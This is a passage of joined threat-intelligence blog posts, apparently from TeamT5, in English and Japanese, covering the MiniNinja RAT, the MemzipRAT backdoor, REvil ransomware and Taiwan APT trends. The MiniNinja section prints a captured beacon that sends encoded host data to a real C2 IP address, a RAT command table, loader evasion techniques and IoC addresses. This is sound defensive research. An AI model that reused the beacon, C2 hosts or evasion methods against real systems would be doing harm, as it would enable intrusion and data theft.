ngluKGJ2JZ2[NKOs506NzsX9yVU7gkxWozQK5WmWoaUr9C0DN0iXb6lwFkcb2CE3HBk[4ISP3nI88jpLROJhQp8PvwLHU6LGYT4J4d4WOETXaWu8jJLr0N80JNKmWRRSDKXoD]Wu3RI0XBwdm3bNtwJ2eTWZ0]4FAcLpw3WRspgfixnubeemSnViV2Rs77m]oaTfrHNCxFdoiIwSvBKJIjPJ[Qc1GCdteLSasYUHvVx3RIAgKOusXgh4Yy9tu4C1083RoI3E5ej7twUC0CdsmzGrZwqBJ5JOYkPHyPn7LNsFfF1UexYEZeyivz[NxuT4NQS0U7h[ZffjtiGr05wUVUl0W9xXsXB1W8xm5TYtWO969oYHrrpNa0bfCMFwGT99ZHTOJiexqpll1HYxU[9oV]flQm2SYXaRL[gc0M]icbcpG0FcHPB5umIZFdxGPTK96aTFlHY8gr1P3K0j[KLr91Lw$$
```

MiniNinja is a full-featured RAT that supports commands for file, process, memory, shell or account operations. Its supported functions are listed below in the Command Table.


## Command Table

Supported command:

|Command | Description|
|---|---|
|0x4E20| Heart beat|
|0x4E21| Init dwProcessId|
|0x4E22| Change sleep time|
|0x4E23| Exit(ExitProcess) | 
|0x4E24| CreateProcess|
|0x4E25| TerminateThread |
|0x4E26| set close_socket to 0|
|0x4E2A| ShellCommand |
|0x4E2B| Get Command Result(call WriteFile,PeekNamedPipe,ReadFile)|
|0x4E2C| TerminateProcess|
|0x4E2D| IterateProcess then TerminateProcess|
|0x4E34 ~ 0x4E47| File Operations|
|0x4E34| List Disk Driver|
|0x4E35| ListDirectory|
|0x4E36| CreateDirectory|
|0x4E37| DeleteFile|
|0x4E38| RemoveDirectory|
|0x4E39| MoveFile|
|0x4E3A| CreateFile|
|0x4E3E| ReadFile|
|0x4E3F| WriteFile|
|0x4E48 - 0x4E51| Socket Operations|
|0x4E48|Connet Host|
|0x4E49|Check socket status|
|0x4E4A|Send Data to Host|
|0x4E4B|Recv Data from Host|
|0x4E4C|Close socket|
|0x4E4D|Connect Host|
|Preserved?(0x4E4E-0x4E51)|Null|
|0x4E5C ~ 0x4E65| Memory Operations|
|0x4E5C|string copy|
|0x4E5D|string copy|
|0x4E5E|string copy|
|*0x4E5F,0x4E60| Execute Plugin? (CreateProcess, process Injection and createthread)|
|*0x4E61,0x4E62| FileMapping(Write data) |
|Preserved?(0x4E63,0x4E64)| Null|
|*0x4E65|Close File Handler|
|0x5208|List c2 configuration|
|0x4E52|List Process|
|0x4E53|IterateProcess,kill process|
|0x4E54|Process Injection|
|0x4E55|CreateThread for running DLL export function |
|0x4E56|Read FileMap data(OpenFileMappingA -> robject_,custom_base64)|
|0x4E57|Exit Dll function?(robject_, UnmapViewOfFile)|
|0x4E58|LookupAccountSid|

## IoC

- 149.28.28.159
- 167.99.168.251
- 185.220.101.204
- 162.247.72.199
- 194.156.98.191
- 202.182.100.134
- 109.70.100.55
- 185.220.101.18
- 193.36.119.144 (TW compromised host)

## References

[1] https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

[2] https://gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html

 

*Image courtesy of [Pixabay](https://pixabay.com/illustrations/ninja-warrior-moon-japanese-japan-2255848/)

Assassinations of "MiniNinja" in Various APAC Countries

TeamT5 は、複数の中国のAPTキャンペーンで使用されている新たなリモート管理ツール（RAT）を発見し、MiniNinjaと名付けました。TeamT5では、台湾、ロシア、キルギスタン、ウズベキスタン、ベトナム、フィリピン、パキスタンなどのさまざまなAPAC地域の国々がこのマルウェアの標的となり、攻撃を受けていることを確認しています。この影響を受けた業界には、政府、エネルギー、IT、電気通信、エンジニアリングなどが含まれています。MiniNinjaは複雑なマルウェアで、複数の高度なテクニックを用いて検出や分析を回避します。また、標的とする範囲が広いことも注目すべき点です。本レポートでは、私たちが行った分析で得られた技術的な詳細について紹介します。

MiniNinjaは、2021年3月上旬に台湾の政府機関に対する標的型攻撃で初めて出回っているのが発見されました。この脅威アクターは、ProxyLogonの脆弱性（CVE-2021-26855）を利用してメールサーバを侵害し、さらに被害者のネットワーク環境にCobaltStrike BeaconとMiniNinja RATを埋め込んでいました。この情報は、 ProxyLogonの脆弱性を利用した「Websiic キャンペーン」に関するESETのレポート[1]でも公開されています。TeamT5は、この新たなマルウェアの存在に気づき、その活動の追跡を開始しました。それ以来、TeamT5は、ベトナム[2]、パキスタン、フィリピンでその足跡を確認しており、おそらくProxyLogonの脆弱性を介して被害者のホストにも埋め込まれている可能性があります。最新見られた活動は、2021年9月にロシアとウズベキスタンに対して行われたスピアフィッシングメール攻撃でした。TeamT5は、これらの攻撃の属性をまだ特定できていません。しかしながら、そのTTPやC2インフラから、中国のAPTが使用する新たなツールであると確信しています。

アンチウイルスの検出を回避するために、MiniNinjaはバイナリペイロードファイルのバイナリBLOBとして暗号化されています。ネイティブPEまたは.Netに1つまたは複数のローダーコンポーネントを持っている可能性がありますが、基本的にはローダーは類似したタスクを実行します。ローダーコンポーネントは、反射型DLLインジェクション技術を介してメモリ内で解読および実行されます。ローダーは、まずペイロードファイルの先頭4バイトをチェックし、ヘッダチェックがパスした場合には3DES（112ビット）アルゴリズムを使用してコンテンツを復号化します。

![2110-1.png](https://legacy-uploads.teamt5.org/2110_1_19727d525b.png)

 

ローダーコンポーネントが複数ある場合は、さらに処理するために復号化されたバッファが第2ステージのローダーに渡される可能性があります。その後、ローダーはカスタムデコード方式とLZSS解凍アルゴリズムを使用してコンテンツを解読します。解読されたペイロードは、PEヘッダーが消去されたPEファイルで、単純なMiniNinja RATです。最後に、ローダーは自身が有するエクスポート関数「Debug」を見つけて、そこから実行を開始します。

![2110-2.png](https://legacy-uploads.teamt5.org/2110_2_acd0d24736.png)

 

台湾の被害者から収集したペイロードの中に、開発者が残したPDB文字列（メモリ内のみ）が残っていたため、私たちはこのマルウェアをMiniNinjaと名付けました。

![2110-3.png](https://legacy-uploads.teamt5.org/2110_3_f98da0e1b4.png)

 

解読されたマルウェアの構成ブロックには、Mutex文字列、C2 URL、HTTPヘッダー情報、スリープ時間などが含まれていました。

![2110-4.png](https://legacy-uploads.teamt5.org/2110_4_aabe1c7b5a.png)

 

実行すると、以下の情報を被害者のホストから収集します。

 - システム情報
 - OSバージョン
 - ホスト名
 - IPアドレス
 - プロセス名
 - プロセスID

上記のデータは、XORエンコードとカスタムbase64エンコードでエンコードされます。最後に、エンコードされた結果がPOST経由でMiniNinjaのC2に送信されます。

```
POST http://149.28.28.159:443/Collector/3.0/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 149.28.28.159:443
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko
Content-Length: 474
Pragma: no-cache

ngluKGJ2JZ2[NKOs506NzsX9yVU7gkxWozQK5WmWoaUr9C0DN0iXb6lwFkcb2CE3HBk[4ISP3nI88jpLROJhQp8PvwLHU6LGYT4J4d4WOETXaWu8jJLr0N80JNKmWRRSDKXoD]Wu3RI0XBwdm3bNtwJ2eTWZ0]4FAcLpw3WRspgfixnubeemSnViV2Rs77m]oaTfrHNCxFdoiIwSvBKJIjPJ[Qc1GCdteLSasYUHvVx3RIAgKOusXgh4Yy9tu4C1083RoI3E5ej7twUC0CdsmzGrZwqBJ5JOYkPHyPn7LNsFfF1UexYEZeyivz[NxuT4NQS0U7h[ZffjtiGr05wUVUl0W9xXsXB1W8xm5TYtWO969oYHrrpNa0bfCMFwGT99ZHTOJiexqpll1HYxU[9oV]flQm2SYXaRL[gc0M]icbcpG0FcHPB5umIZFdxGPTK96aTFlHY8gr1P3K0j[KLr91Lw$$
```

MiniNinjaは、ファイル、プロセス、メモリ、シェルまたはアカウント操作のコマンドをサポートする、フル機能のRATです。次のコマンド表は、サポートされる機能を示しています。

## コマンド表

サポートされるコマンド：

| コマンド | 説明 |
|---|---|
|0x4E20| Heart beat|
|0x4E21| Init dwProcessId|
|0x4E22| Change sleep time|
|0x4E23| Exit(ExitProcess) | 
|0x4E24| CreateProcess|
|0x4E25| TerminateThread |
|0x4E26| set close_socket to 0|
|0x4E2A| ShellCommand |
|0x4E2B| Get Command Result(call WriteFile,PeekNamedPipe,ReadFile)|
|0x4E2C| TerminateProcess|
|0x4E2D| IterateProcess then TerminateProcess|
|0x4E34 ~ 0x4E47| File Operations|
|0x4E34| List Disk Driver|
|0x4E35| ListDirectory|
|0x4E36| CreateDirectory|
|0x4E37| DeleteFile|
|0x4E38| RemoveDirectory|
|0x4E39| MoveFile|
|0x4E3A| CreateFile|
|0x4E3E| ReadFile|
|0x4E3F| WriteFile|
|0x4E48 - 0x4E51| Socket Operations|
|0x4E48|Connet Host|
|0x4E49|Check socket status|
|0x4E4A|Send Data to Host|
|0x4E4B|Recv Data from Host|
|0x4E4C|Close socket|
|0x4E4D|Connect Host|
|Preserved?(0x4E4E-0x4E51)|Null|
|0x4E5C ~ 0x4E65| Memory Operations|
|0x4E5C|string copy|
|0x4E5D|string copy|
|0x4E5E|string copy|
|*0x4E5F,0x4E60| Execute Plugin? (CreateProcess, process Injection and createthread)|
|*0x4E61,0x4E62| FileMapping(Write data) |
|Preserved?(0x4E63,0x4E64)| Null|
|*0x4E65|Close File Handler|
|0x5208|List c2 configuration|
|0x4E52|List Process|
|0x4E53|IterateProcess,kill process|
|0x4E54|Process Injection|
|0x4E55|CreateThread for running DLL export function |
|0x4E56|Read FileMap data(OpenFileMappingA -> robject_,custom_base64)|
|0x4E57|Exit Dll function?(robject_, UnmapViewOfFile)|
|0x4E58|LookupAccountSid|

## IoC

- 149.28.28.159
- 167.99.168.251
- 185.220.101.204
- 162.247.72.199
- 194.156.98.191
- 202.182.100.134
- 109.70.100.55
- 185.220.101.18
- 193.36.119.144 （台湾の侵害されたホスト）

## 参考文献

[1] https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

[2] https://gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html

 

*画像のソース: [Pixabay](https://pixabay.com/illustrations/ninja-warrior-moon-japanese-japan-2255848/)

APACの様々な国で見られる「MiniNinja」攻撃

TeamT5 recently discovered two installers of a newly identified backdoor which we named MemzipRAT. The backdoor is named after an embedded string "get module from cmd memzip : %d" inside the PE files.

## About TeamT5's Research Findings

With further investigation, we believe this attack was aiming at a South Korean company in the aerospace sector. The company is part of a top 10 conglomerate in South Korea, whose business includes aerospace, chemicals, financial services, IT, etc.

In fact, CloudDragon has been accused of using VPN vulnerabilities to attack numerous entities, including Korean government agencies [1], recently. It is highly possible that they deployed their new malware by the new vulnerability in this case as well. 

 

Yet, there are two key factors that might pull the trigger of massive intrusions:

1. VPN vulnerability

 The VPN market in 2020 is USD $30 billion worldwide. That is, the market is huge and has multiple players inside. It could be a starting point for actors to infiltrate various corporations not only in South Korea, but to the whole world.
 
2. Sectors involved

 As the identified target involved in crucial sectors, such as IT, it has a great chance to affect hundreds of entities in a short period.

 

We strongly advise everyone to take careful attention to CloudDragon's recent campaign for it might end up a severe supply chain attack.

## Reference

[1] https://biz.chosun.com/policy/politics/2021/06/18/V4DTFCEXPRA4DFCBVVJO3DPR5I/

 

 

*Image courtesy of [Pixabay](https://pixabay.com/photos/flag-banner-nation-emblem-country-2528969/)

CloudDragon's Campaign: VPN Zero-day Vulnerability + New Backdoor

先日、TeamT5は新たに特定されたバックドアからなるインストーラーを2つ発見し、MemzipRATと名付けました。このバックドアの名前は、PEファイル内に埋め込まれた文字列「get module from cmd memzip : %d」に由来しています。

## TeamT5の調査結果

さらなる調査の結果、この攻撃は航空宇宙分野に属する韓国企業を狙ったものだと当社では考えています。この韓国企業は、航空宇宙、化学、金融、ITなどを手掛ける韓国のトップ10に入る複合企業の1社です。

実際、CloudDragonは最近になって、VPNの脆弱性を利用して、韓国政府機関 [1]を含めた多数の事業体を攻撃したことで非難を受けています。今回も新たな脆弱性を利用して、新たなマルウェアを展開した可能性が高いと考えています。

 

しかしながら、これらの攻撃には、大規模な侵入の引き金となるかもしれない重大な要因が2つ存在します。

1. VPNの脆弱性

 2020年のVPN市場は、全世界で300億米ドルとなりました。つまり市場は非常に巨大であり、複数のプレーヤーが存在します。韓国だけでなく、全世界の様々な企業に脅威アクターが潜入するための開始点となる可能性があります
 
2. ターゲットとなる分野

 特定されたターゲットにはITなどの重要な分野が含まれているため、短期間に数百社にものぼる企業に影響を与える可能性があります。

 

今回のCloudDragonの攻撃は、サプライチェーンに対する深刻な攻撃へとつながる恐れがあるため、十分な注意が必要です。

## 参考文献

[1] https://biz.chosun.com/policy/politics/2021/06/18/V4DTFCEXPRA4DFCBVVJO3DPR5I/

 

 

**画像のソース: [Pixabay](https://pixabay.com/photos/flag-banner-nation-emblem-country-2528969/)

CloudDragonの攻撃：VPNゼロデイ脆弱性 ＋ 新しいバックドア

In March 2021, another REvil's attack was announced. Targeting the computer giant Acer, the actors behind the ransomware asked for 50 million dollars, the highest ransom they have demanded so far. Acer was not the only victim of the notorious ransomware. Debuted in April 2019, REvil has attacked hundreds of high-profile agencies in multiple sectors. In 2020, REvil has earned more than 100 million.[1] In this report, we will introduce the basic profile of REvil and share the techniques they used in operations. 


## What is REvil 

REvil, a.k.a Sodinokibi, is a Ransomware as a Service (RaaS) operation deployed by a Russian cybercrime group named GOLD SOUTHFIELD or Pinchy Spider. The group is believed to be based in Russia, as it does not attack organizations in Post-Soviet States, and refuse to cooperate with English speaking cyber criminals.[2] 

REvil was highly possible the successor of GandCrab, another notorious ransomware, because of code similarities and REvil's active operations right after GandCrab's retirement.[3]

![REvil_1.png](https://legacy-uploads.teamt5.org/R_Evil_1_035a848033.png)
_Figure 1: The timeline of REvil's appearance and GandCrab's retirement_

 

![REvil_2.png](https://legacy-uploads.teamt5.org/R_Evil_2_804b2676dc.png)
_Figure 2: REvil and GandCrab's similarity on string decoding_

 

![REvil_3.png](https://legacy-uploads.teamt5.org/R_Evil_3_e9724a2992.png)
_Figure 3: REvil and GandCrab's similarity on building ransom wallpaper_

 

Numerous campaigns attacking multiple sectors were observed all over the world. The REvil actors has attacked local governments, giant law firms, multinational retailers, etc. The highest ransom they have asked was 42 million for the law firm but was now surpassed by the 50 million Acer attack. (References for the events, please see the end of this page.[4])

 

![REvil__4.jpeg](https://legacy-uploads.teamt5.org/R_Evil_4_56bc894487.jpg)
_Figure 4: The timeline of REvil's notorious attacks_

 

## The Ransomware as a Service model (RaaS)

The actors of REvil adopt the Ransomware as a Service business model. In this model, Ransomware developers are responsible for development and maintenance of the ransomware, while the groups of cyber criminals, named affiliates in this model, are responsible for accessing victims' system to distribute the ransomware. The business model allows cyber criminals who are not capable of developing their own ransomware to buy the service on dark web and deploy ransomware attack. 
 
Through this model, REvil actors provide REvil or the customized version of REvil to their affiliates. After they successfully breached victims' systems, REvil actors will ask for ransom by themselves, providing the ransom payment link. After the collection of money, their affiliates will receive 60% to 75% of the profit. Moreover, the actors also provide other paid services, such as money laundering assistance for the affiliates. 

![May_blog_3.jpeg](https://legacy-uploads.teamt5.org/May_blog_3_71c24e74f2.jpg)

 

## Tactic, Techniques and Procedures
### Initial Access
For REvil, different affiliates may use different methods for initial access. The ransomware is now distributed primarily through compromised RDP sessions (65%), phishing (16%), and software vulnerabilities (8%).[5] However, a supply chain attack distributing REvil was also observed.

REvils' actors said in an interview that they used brute force attacks to compromise RDP sessions.[1] As for phishing emails, the cyber criminals have once disguised their email as a new booking from "booking.com". They also exploit vulnerabilities. In fact, REvil's debut was exploiting the Oracle Weblogic vulnerability, CVE-2019-2725. Moreover, the actors are able to deploy new vulnerabilities after its disclosure. For example, the group used the recent disclosed Microsoft Exchange server vulnerability to access Acer's system.

The most astounding technique they deployed is supply chain attack. Around June 2019, a WINRAR distributor site in Italy was hacked.[6][7] The software downloaded from the site at that time was not the WINRAR installer but the REvil installer. Although no public announcements showing that any company was infected in this attack, the successful replacement shows that their affiliates were able to deploy a supply chain attack. 

Apart from their various method on initial access, the cyber criminals also adopted several unique techniques. For example, REvil used Elliptic-curve Diffie-Hellman key exchange to encrypt files, while other ransomware often used RSA, Salsa20 or AES to do so. This method is more efficient as it used shorter key and is difficult to decrypt. 

 

## The Effective Methods for Ransom Collection
Nowadays, as ransomware attacks become a serious problem, most companies have learned to back up crucial data in case they are hit by a ransomware. However, ransomware actors develop several new methods to ensure that the victims will pay the ransom, including Double-extortion, VoIP calling, and DDoS attack.

- "Double-extortion"
 
The actors disclose or sell the data of the company if the company is not willing to pay ransom. This method was first introduced by Maze, another notorious ransomware, and currently almost all ransomware actors have adopted this method, and so as REvil. Starting from January 2020, the group runs their own site "Happy Blog", where they post data extorted from their victims.

- Voice over Internet Protocol (VoIP) calling
 
In February 2021, they announced that they are now offering Voice over Internet Protocol (VoIP) calling and DDoS attack service for their affiliates to make pressure on their victims.[8] They stated that they will call the media or their victims' business partners, telling them about the attack. 

 

## Detect and Defense
For prevention, it is always crucial to be aware of spamming emails. Nowadays, spamming emails is still the most popular and effective method to access victims' computers. 

In addition, keep an eye on new exploits and updates is also important. Ransomware groups usually are not capable of discovering 0-day exploits by themselves, but they will exploit the disclosed vulnerabilities and attack those who have not updated their system. Thus, keep computers updated and patched systems immediately after the disclosure is essential for preventing ransomware attack.

Furthermore, as the REvil business grows, the actors behind has posted on dark web to recruit more affiliates for their operations. Thus, more attacks from the group is expected. TeamT5 will keep following the ransomware and provide up-to-date information of the notorious ransomware.

To efficiently prevent ransomware attacks, TeamT5 offers a total solution for enterprise protection. Our unique ransomware containment technology is proven to successfully block many types of ransomware, which can detect and stop malicious ransomware immediately. And even restore encrypted files from the backup.

For more information about TeamT5 Ransomware Prevention total solution, please contact: <sales@teamt5.org>

 

## References

[1] https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/

[2] https://www.advintel.io/post/inside-revil-extortionist-machine-predictive-insights

[3] https://www.zdnet.com/article/gandcrab-ransomware-operation-says-its-shutting-down/

[4] Texas Municipalities - https://www.zdnet.com/article/at-least-20-texas-local-governments-hit-in-coordinated-ransomware-attack/; Backup Company - https://www.zdnet.com/article/ransomware-hits-hundreds-of-dentist-offices-in-the-us/; Foreign Exchange Company - https://www.bbc.com/news/business-51017852; US Law Firm - https://www.zdnet.com/article/ransomware-gang-asks-42m-from-ny-law-firm-threatens-to-leak-dirt-on-trump/; Pan-Asia Retailer - https://www.bleepingcomputer.com/news/security/pan-asian-retail-giant-dairy-farm-suffers-revil-ransomware-attack/

[5] https://www.csoonline.com/article/3597298/revil-ransomware-explained-a-widespread-extortion-operation.html

[6] https://www.drcommodore.it/2019/06/20/hackerato-winrar-it-malware-al-posto-del-programma/

[7] https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-spreads-wide-via-hacked-msps-sites-and-spam/

[8] https://www.bleepingcomputer.com/news/security/ransomware-gang-plans-to-call-victims-business-partners-about-attacks/


*Image courtesy of [Pixabay](https://pixabay.com/)

Introducing The Most Profitable Ransomware REvil

2021年3月、再びREvilによる攻撃が発表されました。コンピューター大手Acerを標的にしたこのランサムウェア攻撃では、これまでに要求された身代金の中でも最も高額となる5000万ドルが要求されました。この悪名高いランサムウェアの被害者は、Acerだけには留まりません。2019年4月に初めて登場したREvilは、複数の分野にまたがって数百社にのぼる著名な機関を攻撃しています。2020年には、REvilは1億ドル以上を稼ぎ出しています。[1] 本レポートでは、REvilの基本的な特徴とともに、使用されているテクニックについてもご紹介します。

## REvilとは 

REvilの別名は「Sodinokibi」であり、ロシアのサイバー犯罪グループであるGOLD SOUTHFIELDあるいはPinchy Spiderによって展開されたRansomware as a Service（RaaS）オペレーションです。ポストソビエト諸国にある組織は攻撃しておらず、英語圏のサイバー犯罪者への協力を拒否していることから、このグループはロシアを拠点としていると考えられています[2]。 

REvilは、同じく悪名高いランサムウェアであるGandCrabの後継である可能性が高いと思われます。コードに類似点があり、GandCrabが引退した直後にREvil攻撃が活発化したからです[3]。


![introducing-the-most-profitable-ransomware-revil_JP_figure1.png](https://uploads.teamt5.org/upload/original/introducing-the-most-profitable-ransomware-revil_JP_figure1.png)
_図1：REvilの登場とGandCrabの引退の時系列_

 

![REvil_2.png](https://legacy-uploads.teamt5.org/R_Evil_2_804b2676dc.png)
_図2：REvilとGandCrabの文字列解読に見られる類似性_

 

![REvil_3.png](https://legacy-uploads.teamt5.org/R_Evil_3_e9724a2992.png)
_図3：REvilとGandCrabの身代金用の壁紙の構築に見られる類似点__

 

複数の事業分野に対する攻撃キャンペーンが世界中で数多く観測されました。REvilの脅威アクターは、地方自治体、大手法律事務所、多国籍小売業者などを標的として攻撃しています。要求された身代金の最高額は法律事務所に対する4200万ドルでしたが、今回のAcerに対する攻撃では、それを上回る5000万ドルという金額が要求されています。（この事象に関する参考文献については、本ページの末尾を参照。[4]）

 

![introducing-the-most-profitable-ransomware-revil_JP_figure4.png](https://uploads.teamt5.org/upload/original/introducing-the-most-profitable-ransomware-revil_JP_figure4.png)
_図4：REvilの悪名高い攻撃の時系列_

 

## サービスとしてのランサムウェアモデル（RaaS：Ransomware as a Service model）

REvilを使った脅威アクターは、「サービスとしてのランサムウェア」のビジネスモデルを採用しています。このモデルでは、ランサムウェア開発者はランサムウェアの開発と保守を担当し、このモデルではアフィリエイトと呼ばれるサイバー犯罪者集団が被害者のシステムにアクセスしてランサムウェアを配布する役割を担っています。このビジネスモデルでは、自分自身でランサムウェアを開発できないサイバー犯罪者が、ダークウェブでサービスを購入し、ランサムウェア攻撃を展開することができます。
 
このモデルを通じて、REvilの脅威アクターはREvilあるいはREvilのカスタマイズされたバージョンをアフィリエイトに提供します。被害者のシステムに首尾よく侵入した後、REvilの脅威アクターは身代金の支払いリンクを提供し、自らで身代金の支払いを要求します。集金後、アフィリエイトには利益の60%～75%が支払われます。それだけでなく、こういった脅威アクターは、アフィリエイトに対してマネーロンダリングを支援するなどの有料サービスも行っています。

![introducing-the-most-profitable-ransomware-revil_JP_figure5.png](https://uploads.teamt5.org/upload/original/introducing-the-most-profitable-ransomware-revil_JP_figure5.png)

 

## 戦術とテクニック、そしてその手順
### 初期アクセス
REvilの場合、アフィリエイトによって初期アクセスの方法が異なる可能性があります。現在、このランサムウェアは、主に侵害されたRDPセッション（65%）、フィッシング攻撃（16%）、およびソフトウェアの脆弱性（8%）によって配布されています。[5] しかしながら、Revilを配布するサプライチェーン攻撃も確認されています。

REvilsの脅威アクターは、RDPセッションを侵害するにあたりブルートフォース攻撃を仕掛けたとインタビューで語っています。[1] フィッシングメールに関しては、サイバー犯罪者が一度、メールを「booking.com」からの新しい予約案内に見せかけていたことがわかっています。脆弱性を突くこともあります。実際、REvilの初めての攻撃は、Oracle Weblogicの脆弱性である「CVE-2019-2725」を突いたものでした。それだけでなく、脅威アクターは、公開後に新たな脆弱性を展開することもできます。例えば、犯罪グループは、最近公開されたMicrosoft Exchangeサーバーの脆弱性を利用して、Acerのシステムにアクセスしています。

展開された中でも、最も驚くべき手法であったのがサプライチェーン攻撃です。2019年6月頃、イタリアのWINRAR販売サイトがハッキングされました。[6][7] このときサイトからダウンロードされたソフトウェアは、WINRARインストーラーではなく、REvilインストーラーでした。この攻撃によって企業が感染したことを示す公表はありませんでしたが、ファイルの交換に成功していたという事実から、アフィリエイトがサプライチェーン攻撃の展開に成功したことを示しています。

初期アクセス時の様々な手口だけではなく、サイバー犯罪者は様々な独自のテクニックも採用しています。例えば、REvilでは楕円曲線ディフィー・ヘルマン鍵共有を使用してファイルを暗号化していましたが、他のランサムウェアでは、RSA、Salsa20またはAESを使用して暗号化されていることがよくあります。この方法は、鍵が短くなり解読が困難になることから、より効率的な方法と言えます。

 

## 身代金を回収するための効果的な方法
昨今では、ランサムウェア攻撃が深刻な問題となっているため、ほとんどの企業がランサムウェアの被害に遭った場合に備えて重要なデータをバックアップすることを学んでいます。しかしながら、ランサムウェアの脅威アクターは、被害者に確実に身代金を支払わせるため、二重の脅迫、VoIPコール、DDoS攻撃などの複数の新たなメソッドを開発しています。

- 「二重の脅迫」
 
企業が身代金の支払いに応じない場合、脅威アクターは企業のデータを開示するか売却します。このメソッドは、もう一つの悪名高いランサムウェアであるMazeが最初に導入したやり方で、現在ではほとんどすべてのランサムウェアの脅威アクターがこの方法を採用しており、REvilもその一つです。2020年1月以降、このグループは被害者から奪ったデータを掲載するための自社サイト「Happy Blog」を運営しています。

- VoIP（Voice over Internet Protocol）コール
 
2021年2月には、被害者に圧力をかけるため、アフィリエイト向けにVoIP（Voice over Internet Protocol）コールとDDoS攻撃サービスをしかけると発表しました。[8] 彼らはメディアや被害者の取引先に電話をかけて、攻撃について伝えると述べています。

 

## 検出と防御
防止するためには、スパムメールに常に注意することが不可欠です。現在も、スパムメールが被害者のコンピューターにアクセスする最も一般的かつ効果的な方法となっています。

さらに、新たな悪用やアップデートに目を向けることも重要です。ランサムウェア攻撃グループは通常、自分たちでゼロデイ攻撃を発見する能力はありませんが、公開された脆弱性を悪用し、システムをアップデートしていない人に向けて攻撃をしかけます。従って、ランサムウェア攻撃を防止するためには、公開後はすぐにコンピューターを更新し、システムにパッチを当てることが不可欠です。

さらに、REvilの攻撃ビジネスが成長する中で、背後にいる脅威アクターはダークウェブに掲載し、操れるより多くのアフィリエイトを募集しています。ですから、このグループからの攻撃はさらに増えることが予想されます。TeamT5では、引き続きこのランサムウェアの追跡調査を続け、今後もこの悪名高いランサムウェアの最新情報を提供していきます。

ランサムウェア攻撃を効率的に防ぐために、TeamT5では企業向けのトータル保護ソリューションを提供しています。当社独自のランサムウェア封じ込め技術は、多くの種類のランサムウェアのブロックに成功した実績があり、悪質なランサムウェアを即座に検知して停止させることができます。さらに、バックアップから暗号化されたファイルを復元することも可能です。

TeamT5のランサムウェア防止トータルソリューションの詳細については、こちらからお問い合わせください：<sales@teamt5.org>

 

## 参考文献

[1] https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/

[2] https://www.advintel.io/post/inside-revil-extortionist-machine-predictive-insights

[3] https://www.zdnet.com/article/gandcrab-ransomware-operation-says-its-shutting-down/

[4] Texas Municipalities - https://www.zdnet.com/article/at-least-20-texas-local-governments-hit-in-coordinated-ransomware-attack/; Backup Company - https://www.zdnet.com/article/ransomware-hits-hundreds-of-dentist-offices-in-the-us/; Foreign Exchange Company - https://www.bbc.com/news/business-51017852; US Law Firm - https://www.zdnet.com/article/ransomware-gang-asks-42m-from-ny-law-firm-threatens-to-leak-dirt-on-trump/; Pan-Asia Retailer - https://www.bleepingcomputer.com/news/security/pan-asian-retail-giant-dairy-farm-suffers-revil-ransomware-attack/

[5] https://www.csoonline.com/article/3597298/revil-ransomware-explained-a-widespread-extortion-operation.html

[6] https://www.drcommodore.it/2019/06/20/hackerato-winrar-it-malware-al-posto-del-programma/

[7] https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-spreads-wide-via-hacked-msps-sites-and-spam/

[8] https://www.bleepingcomputer.com/news/security/ransomware-gang-plans-to-call-victims-business-partners-about-attacks/


*画像のソース: [Pixabay](https://pixabay.com/)

最も収益性の高いランサムウェア「REvil」

**By TeamT5 CTO Charles Li**

2020 was considered to be a year of chaos and disaster. Big events such as the outbreak of COVID-19, geopolitical conflicts escalations in several areas, Brexit, and the U.S. president election, all influenced people around the world. In 2020, TeamT5 continued helping numerous security breaches caused by state sponsored targeted instruction attacks (APT) . In the meantime, TeamT5 intelligence Team proactively tracked APT actors’ new activities. Compared with real world, the cyber world was also full of turmoil in 2020 and many of them are reflections or extensions to events in real world. In this article, we will discuss our observation of APT trends in Taiwan in 2020.

In this article, we will first walk you through some remarkable trends, including:

- Evolution of APT tactic
- Supply Chain attack became a primary method in APT attacks
- COVID-19 driven cyber attacks

We will try to dissect the attacks happened in Taiwan in industrial view and adversarial view, which is a common method in threat intelligence analysis. Last part will be our conclusion and suggestions to respond with APT attacks.

 

## Evolution of APT tactic

In 2020, the most notable APT event in public would be the ransom-attack that strike several energy related companies in May [1]. TeamT5 research shows it to be a well-organized campaign from a notorious Chinese adversary group. Whether financial gain or political deterrence is the real motivation behind the ransom-attack remains a mystery. However, it has marked a milestone of China’s cyber-attacks against Taiwan: Chinese APT have aimed Taiwan for more than 20 years but only limited in cyber espionage operations in the past but the threat actors are now exercising new tactics to evade us.

Another cyber-attack supporting our hypothesis occurred on PTT, the most popular BBS platform in Taiwan. TeamT5 tracked a series of posts related to some scandals, with attempts to uglify Taiwanese governments or military, on PTT in July 2020. The actors abused hopping servers from various countries to hide their footprints. However, TeamT5 intelligence database shows that one of the source IP address was also used by a Chinese APT that has targeted Taiwan for more than ten years. Besides, another private source also verified the same APT group to be the culprit behind the attack. We consider both events to be indicators of China’s expansion on offensive cyber operations, which we have not observed in the past.

 

## Supply Chain attack becoming a primary method in APT attacks

Supply chain attack has become a major intrusion method for threat actors in 2020 and TeamT5 had warned such tactic in advance [2]. SolarWinds breach was undoubtedly the most successful story among them. Many high-profile US government agencies, Fortune 500 companies and even cybersecurity vendors were affected. It is so sophisticated that the scope is still uncertain yet. In Taiwan, we also observed at least three waves of similar attacks that infiltrated service providers and further leveraged their products or services to infect more victims. The first two had been published by the Ministry of Justice Bureau (MJIB) of Taiwan in August [3]. The third was still under investigation and the impact could be even bigger. We have seen a significant numbers of government agencies or private corporates in Taiwan being compromised. TeamT5 research shows that at least 3 distinct China nexus group were involved in these operations.

 

## COVID-19 driven cyber attacks

